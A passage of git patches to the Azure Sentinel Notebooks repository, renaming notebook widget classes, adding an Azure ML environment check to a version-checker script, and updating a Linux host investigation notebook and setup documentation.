" ] }, { diff --git a/Sample-Notebooks/Example - Guided Hunting - Office365-Exploring.ipynb b/Sample-Notebooks/Example - Guided Hunting - Office365-Exploring.ipynb index 07b38b3f..2fae3078 100644 --- a/Sample-Notebooks/Example - Guided Hunting - Office365-Exploring.ipynb +++ b/Sample-Notebooks/Example - Guided Hunting - Office365-Exploring.ipynb @@ -7721,7 +7721,7 @@ "source": [ "distinct_users = office_ops_df[['UserId']].sort_values('UserId')['UserId'].str.lower().drop_duplicates().tolist()\n", "distinct_users\n", - "user_select = mas.SelectString(description='Select User Id', item_list=distinct_users, auto_display=True)\n", + "user_select = mas.SelectItem(description='Select User Id', item_list=distinct_users, auto_display=True)\n", " # (items=distinct_users)" ] }, diff --git a/Sample-Notebooks/Example - Guided Investigation - Process-Alerts.ipynb b/Sample-Notebooks/Example - Guided Investigation - Process-Alerts.ipynb index 8e94e5f3..23b1ea93 100644 --- a/Sample-Notebooks/Example - Guided Investigation - Process-Alerts.ipynb +++ b/Sample-Notebooks/Example - Guided Investigation - Process-Alerts.ipynb @@ -1074,7 +1074,7 @@ } ], "source": [ - "alert_select = mas.AlertSelector(alerts=alert_list, action=nbdisp.display_alert)\n", + "alert_select = mas.SelectAlert(alerts=alert_list, action=nbdisp.display_alert)\n", "alert_select.display()" ] }, @@ -1989,7 +1989,7 @@ "if related_alerts is not None and not related_alerts.empty:\n", " related_alerts['CompromisedEntity'] = related_alerts['Computer']\n", " print('Selected alert is available as \\'related_alert\\' variable.')\n", - " rel_alert_select = mas.AlertSelector(alerts=related_alerts, action=disp_full_alert)\n", + " rel_alert_select = mas.SelectAlert(alerts=related_alerts, action=disp_full_alert)\n", " rel_alert_select.display()\n", "else:\n", " display(Markdown('No related alerts found.'))" diff --git a/Sample-Notebooks/Example - Step-by-Step Linux-Windows-Office Investigation.ipynb b/Sample-Notebooks/Example - Step-by-Step Linux-Windows-Office Investigation.ipynb index abc0f263..ae1bfe0c 100644 --- a/Sample-Notebooks/Example - Step-by-Step Linux-Windows-Office Investigation.ipynb +++ b/Sample-Notebooks/Example - Step-by-Step Linux-Windows-Office Investigation.ipynb @@ -1244,7 +1244,7 @@ " global security_alert\n", " security_alert = nbtools.SecurityAlert(alert_select.selected_alert)\n", " nbtools.disp.display_alert(security_alert, show_entities=True)\n", - "alert_select = nbtools.AlertSelector(alerts=alert_list, action=show_full_alert)\n", + "alert_select = nbtools.SelectAlert(alerts=alert_list, action=show_full_alert)\n", "alert_select.display()" ] }, @@ -8635,7 +8635,7 @@ " return host_logons.query('TargetUserName == @acct and LogonType == @logon_type'\n", " ' and TargetLogonId == @logon_id')\n", " \n", - "logon_wgt = nbtools.SelectString(description='Select logon cluster to examine', \n", + "logon_wgt = nbtools.SelectItem(description='Select logon cluster to examine', \n", " item_list=items, height='200px', width='100%', auto_display=True)" ] }, @@ -11874,4 +11874,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/utils/nb_check.py b/utils/nb_check.py index 71e09f3c..66e82d6b 100644 --- a/utils/nb_check.py +++ b/utils/nb_check.py @@ -4,6 +4,7 @@ # license information. # -------------------------------------------------------------------------- """Checker for Python and msticpy versions.""" +import os import sys from IPython.display import display, HTML @@ -65,6 +66,8 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF): ) ) + _check_nteract() + # pylint: disable=import-outside-toplevel def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): @@ -113,3 +116,22 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION): "msticpy %s.%s.%s or later is required." % min_msticpy_ver ) display(HTML("msticpy version %s.%s.%s OK" % mp_version)) + + +_NTERACT_MSSG = """ +Azure ML detected
+It looks like this notebook is running in an Azure Machine Learning workspace. +If you using the AzureML native notebook interface +(i.e. not Jupyter or Jupyter lab) we need to adjust a +setting for the UI to behave properly. +Ignoring or answering "n" will not affect the functionality of the notebook +but you may see some extraneous UI elements being displayed. +""" + + +def _check_nteract(): + if os.environ.get("USER", "").casefold() == "azureuser": + display(HTML(_NTERACT_MSSG)) + set_app = input("Configure for Azure ML Notebooks? (y/n)") # nosec + if set_app.casefold().startswith("y"): + os.environ["KQLMAGIC_NOTEBOOK_APP"] = "nteract" From 2e7c95e794ee3f17aad385861e61acf5d689c59e Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 23 Jun 2020 19:16:55 -0700 Subject: [PATCH 04/23] Fixes to Entity Explorer - Linux Host --- Entity Explorer - Linux Host.ipynb | 738 +++++++++++++++++++++++++---- 1 file changed, 642 insertions(+), 96 deletions(-) diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index ae2bf415..43cf6a65 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -31,7 +31,7 @@ }, "source": [ "

Table of Contents

\n", - "
" + "
" ] }, { @@ -73,8 +73,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:58:35.616818Z", - "start_time": "2020-05-15T23:58:35.383819Z" + "end_time": "2020-06-24T01:51:59.386590Z", + "start_time": "2020-06-24T01:51:55.136591Z" } }, "outputs": [], @@ -176,8 +176,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:58:49.319665Z", - "start_time": "2020-05-15T23:58:49.309664Z" + "end_time": "2020-06-24T01:51:59.434663Z", + "start_time": "2020-06-24T01:51:59.420592Z" } }, "outputs": [], @@ -205,8 +205,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:59:18.090694Z", - "start_time": "2020-05-15T23:58:52.515672Z" + "end_time": "2020-06-24T01:52:41.282988Z", + "start_time": "2020-06-24T01:52:00.925257Z" } }, "outputs": [], @@ -232,8 +232,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:59:18.217691Z", - "start_time": "2020-05-15T23:59:18.155693Z" + "end_time": "2020-06-24T01:52:41.392989Z", + "start_time": "2020-06-24T01:52:41.334990Z" } }, "outputs": [], @@ -256,8 +256,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:59:30.667719Z", - "start_time": "2020-05-15T23:59:30.645721Z" + "end_time": "2020-06-24T01:53:06.136974Z", + "start_time": "2020-06-24T01:53:06.114975Z" } }, "outputs": [], @@ -273,8 +273,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-15T23:59:47.945809Z", - "start_time": "2020-05-15T23:59:45.525517Z" + "end_time": "2020-06-24T01:53:15.184975Z", + "start_time": "2020-06-24T01:53:13.262978Z" } }, "outputs": [], @@ -316,8 +316,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:00:21.714769Z", - "start_time": "2020-05-15T23:59:56.711836Z" + "end_time": "2020-06-24T01:53:28.770245Z", + "start_time": "2020-06-24T01:53:15.945975Z" } }, "outputs": [], @@ -371,8 +371,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:00:27.549794Z", - "start_time": "2020-05-16T00:00:25.664615Z" + "end_time": "2020-06-24T01:53:31.570371Z", + "start_time": "2020-06-24T01:53:30.880295Z" } }, "outputs": [], @@ -406,8 +406,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:00:31.720767Z", - "start_time": "2020-05-16T00:00:31.664768Z" + "end_time": "2020-06-24T01:53:31.887372Z", + "start_time": "2020-06-24T01:53:31.826372Z" } }, "outputs": [], @@ -444,8 +444,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:01:56.991980Z", - "start_time": "2020-05-16T00:01:56.936979Z" + "end_time": "2020-06-24T01:53:32.233372Z", + "start_time": "2020-06-24T01:53:32.172372Z" } }, "outputs": [], @@ -456,8 +456,8 @@ " start = rel_alert_select.selected_alert['TimeGenerated']\n", "\n", "# Set new investigation time windows based on the selected alert\n", - "invest_times = nbwidgets.QueryTime(units='hours',\n", - " max_before=24, max_after=12, before=6, origin_time=start)\n", + "invest_times = nbwidgets.QueryTime(\n", + " units='day', max_before=24, max_after=12, before=1, after=1, origin_time=start)\n", "invest_times.display()" ] }, @@ -490,8 +490,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:02:12.485265Z", - "start_time": "2020-05-16T00:02:10.553617Z" + "end_time": "2020-06-24T01:53:35.450989Z", + "start_time": "2020-06-24T01:53:34.273026Z" } }, "outputs": [], @@ -500,14 +500,10 @@ "logon_events = qry_prov.LinuxSyslog.user_logon(invest_times, host_name=hostname)\n", "remote_logons = None\n", "failed_logons = None\n", - "logon_sessions_df = None\n", + "\n", "if isinstance(logon_events, pd.DataFrame) and not logon_events.empty:\n", - " try:\n", - " remote_logons = (logon_events[logon_events['LogonResult'] == 'Success'])\n", - " failed_logons = (logon_events[logon_events['LogonResult'] == 'Failure'])\n", - " logon_sessions_df = cluster_syslog_logons_df(logon_events)\n", - " except:\n", - " print(\"No logon sessions in this timeframe\")\n", + " remote_logons = (logon_events[logon_events['LogonResult'] == 'Success'])\n", + " failed_logons = (logon_events[logon_events['LogonResult'] == 'Failure'])\n", "else:\n", " print(\"No logon events in this timeframe\")\n", "\n", @@ -567,10 +563,7 @@ " if len(ip_list) > 0:\n", " icon_props = {'color': 'green'}\n", " folium_map.add_ip_cluster(ip_entities=ip_list, **icon_props)\n", - " display(folium_map.folium_map)\n", - " display(Markdown('

Warning: the folium mapping library '\n", - " 'does not display correctly in some browsers.


'\n", - " 'If you see a blank image please retry with a different browser.'))" + " display(folium_map.folium_map)\n" ] }, { @@ -586,22 +579,26 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:02:19.836782Z", - "start_time": "2020-05-16T00:02:19.732781Z" + "end_time": "2020-06-24T01:53:38.073770Z", + "start_time": "2020-06-24T01:53:37.978770Z" } }, "outputs": [], "source": [ "import datetime as dt\n", - "def to_utc(time):\n", - " ts = (time - np.datetime64('1970-01-01T00:00:00')) / np.timedelta64(1, 's')\n", - " time = dt.datetime.utcfromtimestamp(ts) \n", - " return time\n", + "\n", + "logon_sessions_df = None\n", + "try:\n", + " print(\"Clustering logon sessions...\")\n", + " logon_sessions_df = cluster_syslog_logons_df(logon_events)\n", + "except Exception as err:\n", + " print(f\"Error clustering logons: {err}\")\n", + "\n", "if logon_sessions_df is not None:\n", " logon_sessions_df[\"Alerts during session?\"] = np.nan\n", " # check if any alerts occur during logon window.\n", - " logon_sessions_df['Start (UTC)'] = [(to_utc(time) - dt.timedelta(seconds=5)) for time in logon_sessions_df['Start']]\n", - " logon_sessions_df['End (UTC)'] = [(to_utc(time) + dt.timedelta(seconds=5)) for time in logon_sessions_df['End']]\n", + " logon_sessions_df['Start (UTC)'] = [(time - dt.timedelta(seconds=5)) for time in logon_sessions_df['Start']]\n", + " logon_sessions_df['End (UTC)'] = [(time + dt.timedelta(seconds=5)) for time in logon_sessions_df['End']]\n", "\n", " for TimeGenerated in related_alerts['TimeGenerated']:\n", " logon_sessions_df.loc[(TimeGenerated >= logon_sessions_df['Start (UTC)']) & (TimeGenerated <= logon_sessions_df['End (UTC)']), \"Alerts during session?\"] = \"Yes\"\n", @@ -634,9 +631,11 @@ " display(logon_sessions_df[['User','Start (UTC)', 'End (UTC)', 'Alerts during session?', 'Sucessful to failed logon ratio', 'Root?']]\n", " .style.applymap(color_cells).hide_index())\n", "\n", - " logon_items = logon_sessions_df[['User','Start (UTC)', 'End (UTC)']].to_string(header=False,\n", - " index=False,\n", - " index_names=False).split('\\n')\n", + " logon_items = (\n", + " logon_sessions_df[['User','Start (UTC)', 'End (UTC)']]\n", + " .to_string(header=False, index=False, index_names=False)\n", + " .split('\\n')\n", + " )\n", " logon_sessions_df[\"Key\"] = logon_items\n", " logon_sessions_df.set_index('Key', inplace=True)\n", " logon_dict = logon_sessions_df[['User','Start (UTC)', 'End (UTC)']].to_dict('index')\n", @@ -659,8 +658,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:02:33.394888Z", - "start_time": "2020-05-16T00:02:24.256128Z" + "end_time": "2020-06-24T01:53:44.059818Z", + "start_time": "2020-06-24T01:53:40.909226Z" } }, "outputs": [], @@ -678,6 +677,8 @@ " return len(del_events.replace(\"\", np.nan).dropna(subset=['User'])['User'].unique().tolist())\n", " else:\n", " return \"\"\n", + "\n", + "\n", "sudo_sessions = None\n", "tooltip_cols = ['SyslogMessage']\n", "if logon_sessions_df is not None:\n", @@ -805,6 +806,22 @@ " md(\"No logon sessions during this timeframe\")" ] }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "ExecuteTime": { + "end_time": "2020-06-24T01:53:44.065822Z", + "start_time": "2020-06-24T01:53:42.231Z" + } + }, + "outputs": [], + "source": [ + "# user_tl_data.is_na()\n", + "remote_logons.isna()\n", + "mod_events.isna()" + ] + }, { "cell_type": "markdown", "metadata": {}, @@ -818,8 +835,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:04:55.506355Z", - "start_time": "2020-05-16T00:04:52.200963Z" + "end_time": "2020-06-24T01:53:47.432915Z", + "start_time": "2020-06-24T01:53:45.628367Z" } }, "outputs": [], @@ -852,8 +869,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:04:56.376353Z", - "start_time": "2020-05-16T00:04:56.284354Z" + "end_time": "2020-06-24T01:53:48.221915Z", + "start_time": "2020-06-24T01:53:48.175914Z" } }, "outputs": [], @@ -881,8 +898,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:06.090478Z", - "start_time": "2020-05-16T00:04:57.481284Z" + "end_time": "2020-06-24T01:53:51.672525Z", + "start_time": "2020-06-24T01:53:50.175953Z" } }, "outputs": [], @@ -937,8 +954,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:14.828475Z", - "start_time": "2020-05-16T00:05:14.794474Z" + "end_time": "2020-06-24T01:53:55.462637Z", + "start_time": "2020-06-24T01:53:55.422637Z" } }, "outputs": [], @@ -972,7 +989,12 @@ { "cell_type": "code", "execution_count": null, - "metadata": {}, + "metadata": { + "ExecuteTime": { + "end_time": "2020-06-24T01:57:18.459849Z", + "start_time": "2020-06-24T01:57:16.216180Z" + } + }, "outputs": [], "source": [ "tilookup = TILookup()" @@ -983,8 +1005,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:25.237213Z", - "start_time": "2020-05-16T00:05:21.813842Z" + "end_time": "2020-06-24T01:57:23.902023Z", + "start_time": "2020-06-24T01:57:21.856481Z" } }, "outputs": [], @@ -1077,8 +1099,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:40.283882Z", - "start_time": "2020-05-16T00:05:38.659404Z" + "end_time": "2020-06-24T01:57:32.366086Z", + "start_time": "2020-06-24T01:57:31.372985Z" } }, "outputs": [], @@ -1108,8 +1130,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:43.703387Z", - "start_time": "2020-05-16T00:05:41.635697Z" + "end_time": "2020-06-24T01:57:35.805460Z", + "start_time": "2020-06-24T01:57:33.955397Z" } }, "outputs": [], @@ -1217,9 +1239,6 @@ " folium_user_map.center_map()\n", " display(HTML('

Map of Originating Location of Logon Attempts

'))\n", " display(folium_user_map)\n", - " display(Markdown('

Warning: the folium mapping library '\n", - " 'does not display correctly in some browsers.


'\n", - " 'If you see a blank image please retry with a different browser.'))\n", "\n", "\n", "\n", @@ -1243,8 +1262,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:50.586733Z", - "start_time": "2020-05-16T00:05:50.564733Z" + "end_time": "2020-06-24T01:57:41.495503Z", + "start_time": "2020-06-24T01:57:41.474501Z" } }, "outputs": [], @@ -1311,8 +1330,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:05:57.509366Z", - "start_time": "2020-05-16T00:05:57.455366Z" + "end_time": "2020-06-24T01:57:45.323865Z", + "start_time": "2020-06-24T01:57:45.274865Z" } }, "outputs": [], @@ -1337,8 +1356,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:06:05.972032Z", - "start_time": "2020-05-16T00:06:05.838032Z" + "end_time": "2020-06-24T01:57:51.258753Z", + "start_time": "2020-06-24T01:57:51.149753Z" } }, "outputs": [], @@ -1425,8 +1444,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:06:27.934589Z", - "start_time": "2020-05-16T00:06:27.885591Z" + "end_time": "2020-06-24T01:59:29.756566Z", + "start_time": "2020-06-24T01:59:29.702565Z" } }, "outputs": [], @@ -1447,8 +1466,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:07:32.371549Z", - "start_time": "2020-05-16T00:06:33.042022Z" + "end_time": "2020-06-24T02:01:09.922496Z", + "start_time": "2020-06-24T02:00:19.315827Z" } }, "outputs": [], @@ -1530,8 +1549,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:07:41.084063Z", - "start_time": "2020-05-16T00:07:40.662062Z" + "end_time": "2020-06-24T02:01:43.252644Z", + "start_time": "2020-06-24T02:01:42.969634Z" } }, "outputs": [], @@ -1576,8 +1595,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:08:25.051755Z", - "start_time": "2020-05-16T00:08:03.604431Z" + "end_time": "2020-06-24T02:01:50.058394Z", + "start_time": "2020-06-24T02:01:49.715903Z" } }, "outputs": [], @@ -1656,8 +1675,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:08:58.079873Z", - "start_time": "2020-05-16T00:08:41.302405Z" + "end_time": "2020-06-24T02:02:21.843587Z", + "start_time": "2020-06-24T02:02:11.835821Z" } }, "outputs": [], @@ -1743,8 +1762,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:09:14.771199Z", - "start_time": "2020-05-16T00:09:04.783620Z" + "end_time": "2020-06-24T02:02:28.305211Z", + "start_time": "2020-06-24T02:02:27.707241Z" } }, "outputs": [], @@ -1796,14 +1815,15 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:09:26.062183Z", - "start_time": "2020-05-16T00:09:26.045183Z" + "end_time": "2020-06-24T02:03:09.018331Z", + "start_time": "2020-06-24T02:03:08.996333Z" } }, "outputs": [], "source": [ "# For every IP associated with the selected ASN look them up in TI feeds\n", "ip_invest_list = None\n", + "ip_selection = None\n", "for ASN in selection.value:\n", " if ip_invest_list is None:\n", " ip_invest_list = (IP_ASN[IP_ASN[\"ASN\"] == ASN]['IPs'].tolist())\n", @@ -1830,8 +1850,7 @@ " if len(ioc_ip_list) > 0: \n", " display(HTML(\"Select an IP whcih appeared in TI to investigate further\"))\n", " ip_selection = nbwidgets.SelectItem(description='Select IP Address to investigate: ', item_list = ioc_ip_list, width='95%', auto_display=True)\n", - " else: \n", - " ip_selection = None\n", + " \n", "else:\n", " md(\"No IPs to investigate\")" ] @@ -1841,8 +1860,8 @@ "execution_count": null, "metadata": { "ExecuteTime": { - "end_time": "2020-05-16T00:09:28.758531Z", - "start_time": "2020-05-16T00:09:28.740532Z" + "end_time": "2020-06-24T02:03:11.613331Z", + "start_time": "2020-06-24T02:03:11.600332Z" } }, "outputs": [], @@ -1877,9 +1896,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -1891,7 +1910,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7-final" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1963,7 +1982,534 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": {}, + "state": { + "0436786f902c499aa300691ff558cb29": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "VBoxModel", + "state": { + "children": [ + "IPY_MODEL_15b347a66c624abab7a3ffe619a00df9", + "IPY_MODEL_7f29c860d0c84c39a23d357f830046f9", + "IPY_MODEL_e12a37e199d04cc9b1233c155222d962" + ], + "layout": "IPY_MODEL_321101ff1ab5482e8da84f9d47a2164b" + } + }, + "087d0cc0fa6242c798518b626f6118a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": {} + }, + "0f5149e8815843df942bb8354252ab01": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "95%" + } + }, + "121cfcaf656d4256b3b545034209faeb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query start time (UTC):", + "layout": "IPY_MODEL_db4e5c422096489b9a9165c188db60b0", + "style": "IPY_MODEL_aa6b7412b3774219b56faacca9aa39e0", + "value": "2019-02-24 01:33:09.823578" + } + }, + "15b347a66c624abab7a3ffe619a00df9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "IntRangeSliderModel", + "state": { + "_model_name": "IntRangeSliderModel", + "_view_name": "IntRangeSliderView", + "description": "Time Range (day):", + "layout": "IPY_MODEL_c0504c4443974042b778064ed7cf228e", + "max": 12, + "min": -24, + "style": "IPY_MODEL_766713d8fa2440bc90b8342f1ac8e95f", + "value": [ + -1, + 1 + ] + } + }, + "2740c201a6df45afa6659a23e5be25e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "layout": "IPY_MODEL_ea573dbfa34f4594bcc90580bd6ea347", + "style": "IPY_MODEL_e81d81448f994890bed44fba7492ea53", + "value": "

Set query time boundaries

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(MSTICAlertsLxVM2) - [id:2518509963488429999_b4d59621-3020-4ad7-8e52-ea885599e458]" + ], + "description": "Select alert :", + "index": 0, + "layout": "IPY_MODEL_9f11d6dd7fa947a197fa5df614ad0d58", + "style": "IPY_MODEL_822598b256ff41ab9b655636b748d689" + } + }, + "db4e5c422096489b9a9165c188db60b0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "50%" + } + }, + "e12a37e199d04cc9b1233c155222d962": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Query end time (UTC) : ", + "layout": "IPY_MODEL_5371b8d9498f4856985cc01d89fde005", + "style": "IPY_MODEL_7f72affb3ae94125af386984ad8a2e73", + "value": "2019-02-26 15:34:23+00:00" + } + }, + "e81d81448f994890bed44fba7492ea53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + 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}, + "f24d49e0992f46669f6a506c83dcc126": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DatePickerModel", + "state": { + "description": "Origin Date", + "disabled": false, + "layout": "IPY_MODEL_bdfc76ec4cc447639a2a6cc56140702d", + "style": "IPY_MODEL_c45dc14ad32846d0a68a35a1599ce787", + "value": { + "date": 27, + "month": 1, + "year": 2019 + } + } + }, + "f3f0222774ef4e14a6900045a7171e3a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "SliderStyleModel", + "state": { + "description_width": "initial" + } + }, + "f698875a24ed42ceb427cc6bd0c658ab": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "children": [ + "IPY_MODEL_eacab245cd9e45fd9a3061a128369389", + "IPY_MODEL_5971311870534b0fad5bf453aa900119" + ], + "layout": "IPY_MODEL_c857810da43a4aba92819fb049bb0376" + } + }, + "fa7cec0889df4e13b991879dc21d34fa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "width": "80%" + } + } + }, "version_major": 2, "version_minor": 0 } @@ -1971,4 +2517,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} From 474617d31e9c63c3ea02faf11d13ea183319264b Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Thu, 25 Jun 2020 12:03:59 -0700 Subject: [PATCH 05/23] Fixes for setup cell Update ConfiguringNotebookEnvironment notebook for more up-to-date-info Minor change to nb_check.py (I thought this was causing an error but I don't think it was) --- ConfiguringNotebookEnvironment.ipynb | 155 +- Entity Explorer - Account.ipynb | 12 +- Entity Explorer - Domain & URL.ipynb | 12 +- Entity Explorer - IP Address.ipynb | 4 +- Entity Explorer - Linux Host.ipynb | 2 +- Entity Explorer - Windows Host.ipynb | 555 +- ...tarted with Azure Sentinel Notebooks.ipynb | 2 +- ...nomalous Office365 Exchange Sessions.ipynb | 2 +- Guided Hunting - Office365-Exploring.ipynb | 2 +- ...nvestigation - MDATP Webshell Alerts.ipynb | 2 +- Guided Investigation - Process-Alerts.ipynb | 5022 ++++++++++++++++- Guided Triage - Alerts.ipynb | 4 +- Notebook Template.ipynb | 2 +- TroubleShootingNotebooks.ipynb | 2 +- utils/nb_check.py | 9 +- 15 files changed, 5063 insertions(+), 724 deletions(-) diff --git a/ConfiguringNotebookEnvironment.ipynb b/ConfiguringNotebookEnvironment.ipynb index ecb8170e..5ff3ed81 100644 --- a/ConfiguringNotebookEnvironment.ipynb +++ b/ConfiguringNotebookEnvironment.ipynb @@ -30,7 +30,9 @@ "### Creating a virtual environment\n", "If you are running these notebooks locally, it is a good idea to create a clean virtual python environment, before installing any of the packages . This will prevent installed packages conflicting with versions that you may need for other applications.\n", "\n", - "For standard python use the `virtualenv` command. For Conda use the `conda env` command. In both cases be sure to activate the environment before running jupyter using `activate {my_env_name}`.\n", + "For standard python use the [`venv`](https://docs.python.org/3/library/venv.html?highlight=venv) command. \n", + "For Conda use the [`conda env`](https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/manage-environments.html) command. \n", + "In both cases be sure to activate the environment before running jupyter using `activate {my_env_name}` or `conda activate {my_env_name}`.\n", "\n", "\n", "### Using Requirements.txt\n", @@ -88,7 +90,7 @@ "This will avoid permission errors by installing into your user folder.\n", "\n", "> **Note**: the use of the `--user` option is usually not required in a Conda environment \n", - "> since the Python packages are normally already installed in a user folder." + "> since the Python site packages are normally already installed in a per-user folder." ] }, { @@ -96,11 +98,25 @@ "metadata": {}, "source": [ "### Install Packages from this Notebook\n", - "The first time this cell runs for a new Azure Notebooks project or other Python environment it will take several minutes to download and install the packages. In subsequent runs it should run quickly and confirm that package dependencies are already installed. Unless you want to upgrade the packages you can feel free to skip execution of the next cell.\n", - "\n", - "If you see any import failures (```ImportError```) in the notebooks, please re-run this notebook and answer 'y' when prompted, then re-run the cell where the import failure occurred.\n", - "\n", - "Note you may see some warnings about incompatibility with certain packages. This should not affect the functionality of this notebook but you may need to upgrade the packages producing the warnings to a more recent version." + "The first time this cell runs for a new Azure ML or Azure Notebooks notebook or other Python environment it will do the following things:\n", + "1. Check the kernel version to ensure that a Python 3.6 or later kernel is running\n", + "2. Check the msticpy version - if this is not installed or the version installed is less than the required version (in `REQ_MSTICPY_VER`)\n", + " it will attempt to install a new version (you will be prompted whether you want to do this)\n", + " The install can take several minutes depending on the versions of packages that you already have installed.\n", + " \n", + " > **Note:** These two steps are run from a local python module - this is available in the Azure-Sentinel-Notebooks repo.\n", + " > If you do not have this locally, download it from [here](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/utils/nb_check.py) and\n", + " > put a copy in a `utils` subfolder of your current directory.\n", + " \n", + "3. Once *msticpy* is installed and imported, the `init_notebook` function is run. This:\n", + " - imports common modules used in the notebook\n", + " - installs additional packages\n", + " - sets some global options\n", + " \n", + "> **Note:** In subsequent runs, this cell shoud run quickly since you will already have the required packages installed.\n", + "\n", + "\n", + "> **Warning:** you may see some warnings about incompatibility with certain packages. This should not affect the functionality of this notebook but you may need to upgrade the packages producing the warnings to a more recent version." ] }, { @@ -111,42 +127,42 @@ }, "outputs": [], "source": [ + "from pathlib import Path\n", + "import os\n", "import sys\n", "import warnings\n", - "\n", - "warnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n", - "\n", - "MIN_REQ_PYTHON = (3,6)\n", - "if sys.version_info < MIN_REQ_PYTHON:\n", - " print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')\n", - " print('or later is selected as the active kernel.')\n", - " sys.exit(\"Python %s.%s or later is required.\\n\" % MIN_REQ_PYTHON)\n", - "\n", - "# Package Installs - try to avoid if they are already installed\n", - "try:\n", - " import msticpy.sectools as sectools\n", - " import Kqlmagic\n", - " from dns import reversename, resolver\n", - " from ipwhois import IPWhois\n", - " import folium\n", - " \n", - " print('If you answer \"n\" this cell will exit with an error in order to avoid the pip install calls,')\n", - " print('This error can safely be ignored.')\n", - " resp = input('msticpy and Kqlmagic packages are already loaded. Do you want to re-install? (y/n)')\n", - " if resp.strip().lower() != 'y':\n", - " sys.exit('pip install aborted - you may skip this error and continue.')\n", - " else:\n", - " print('After installation has completed, restart the current kernel and run '\n", - " 'the notebook again skipping this cell.')\n", - "except ImportError:\n", - " pass\n", - "\n", - "print('\\nPlease wait. Installing required packages. This may take a few minutes...')\n", - "!pip install --user -r requirements.txt \n", - "\n", - "print('To ensure that the latest versions of the installed libraries '\n", - " 'are used, 